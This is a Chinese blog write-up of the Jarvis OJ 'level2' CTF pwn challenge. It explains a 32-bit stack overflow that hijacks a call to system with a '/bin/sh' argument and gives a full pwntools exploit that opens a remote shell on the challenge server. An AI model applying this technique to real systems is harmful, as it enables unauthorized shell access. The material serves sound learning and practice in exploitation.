zoukankan      html  css  js  c++  java
  • Jarvis Oj Pwn 学习笔记level2

    32位构造栈参数溢出!

    恭敬地呈上链接:

    https://files.cnblogs.com/files/Magpie/level2.rar

    nc pwn2.jarvisoj.com 9878

    首先....日常checksec:

    程序扔进IDA锅里:

    找到了溢出点~下面我们开始食用:

    既然有调用system函数,肯定是可以直接call一波的,只是还缺一个参数,我们看到了read函数心里不禁笑嘻嘻.....

    然而稍安勿躁,心存侥幸的看一波string:

    妈耶~善良的出题人

    好了,只要按32位栈传参规则通过溢出构造好栈内容即可~

    在此提供两种食用方式:

     1.ret2call:

    (main函数里0x804849e也有一个call)

    打到这里,call指令本身执行时就会自动压ret_address,所以栈参数只溢出进一个"/bin/sh"的地址就行了

    2.ret2raw_system:

    打到这里,这样劫持过去是通过ret指令过去的,只改动了eip,没有压栈,所以和正常调用比,栈结构上是缺少一个ret_addr的,

    因此在打payload的时候,要手动垫一个ret_addr~

     我们上exp(用的是第一种方法):

    1 from pwn import *
    2 context(arch = 'i386', os = 'linux')
    3 r = remote('pwn2.jarvisoj.com', 9878)
    4 junk='A'*140
    5 ret='\x9e\x84\x04\x08'
    6 cmmd='\x24\xa0\x04\x08'
    7 payload=junk+ret+cmmd
    8 r.send(payload)
    9 r.interactive()

    (饱嗝~)

  • 相关阅读:
    Java中Date日期字符串格式的各种转换
    Redis集群搭建与简单使用
    Java中的Redis应用
    java的linux命令
    Lucene全文检索引擎
    设置Xshell中支持中文
    Java并发Fork-Join框架原理解析
    java线程
    Django-路由层
    Django简介
  • 原文地址:https://www.cnblogs.com/Magpie/p/9117218.html
Copyright © 2011-2022 走看看